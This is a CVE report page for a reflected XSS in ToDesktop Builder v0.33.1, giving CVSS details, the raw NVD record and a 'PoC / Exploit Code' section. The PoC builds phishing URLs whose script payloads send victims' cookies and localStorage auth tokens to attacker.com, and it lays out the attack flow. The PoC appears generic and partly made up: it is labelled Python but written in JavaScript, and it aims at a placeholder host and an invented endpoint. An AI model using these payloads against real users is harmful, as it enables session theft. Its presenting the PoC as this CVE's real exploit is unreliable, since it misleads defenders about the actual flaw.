Security Vulnerability Report
中文
CVE-2025-67231 CVSS 5.9 MEDIUM

CVE-2025-67231

Published: 2026-01-23 17:16:08
Last Modified: 2026-01-29 18:42:19

Description

A reflected cross-site scripting (XSS) vulnerability in ToDesktop Builder v0.33.1 allows attackers to execute arbitrary code in the context of a user's browser via a crafted payload.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:todesktop:builder:*:*:*:*:*:*:*:* - VULNERABLE
ToDesktop Builder v0.33.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-67231 PoC - Reflected XSS in ToDesktop Builder v0.33.1 // This PoC demonstrates a reflected XSS vulnerability // Malicious URL construction const maliciousPayload = '<script>alert(document.cookie)</script>'; const vulnerableURL = `https://[todesktop-builder-host]/endpoint?param=${encodeURIComponent(maliciousPayload)}`; // Alternative payload using img tag with onerror event const imgPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)"> '; const imgVulnerableURL = `https://[todesktop-builder-host]/endpoint?param=${encodeURIComponent(imgPayload)}`; // Payload to steal session data const sessionStealPayload = '<script>fetch("https://attacker.com/log?data="+btoa(JSON.stringify({cookie:document.cookie,localStorage:localStorage.getItem("auth")})));</script>'; const sessionURL = `https://[todesktop-builder-host]/endpoint?param=${encodeURIComponent(sessionStealPayload)}`; console.log("Malicious URLs generated:"); console.log("1.", vulnerableURL); console.log("2.", imgVulnerableURL); console.log("3.", sessionURL); console.log("\nAttack flow:"); console.log("1. Attacker crafts malicious URL with XSS payload"); console.log("2. Attacker tricks victim into clicking the link (phishing, social engineering)"); console.log("3. Victim's browser sends request to vulnerable endpoint"); console.log("4. Server reflects unsanitized input in response"); console.log("5. Victim's browser executes malicious script"); console.log("6. Attacker steals cookies/session data or performs actions as victim");

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67231", "sourceIdentifier": "[email protected]", "published": "2026-01-23T17:16:08.010", "lastModified": "2026-01-29T18:42:19.363", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (XSS) vulnerability in ToDesktop Builder v0.33.1 allows attackers to execute arbitrary code in the context of a user's browser via a crafted payload."}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) reflejada en ToDesktop Builder v0.33.1 permite a los atacantes ejecutar código arbitrario en el contexto del navegador de un usuario a través de una carga útil manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:todesktop:builder:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.33.1", "matchCriteriaId": "BDF8CE20-EBE5-4FCF-89DE-90DC9598F29D"}]}]}], "references": [{"url": "https://www.todesktop.com/changelog", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://www.todesktop.com/security/advisories/TDSA-2025-003", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}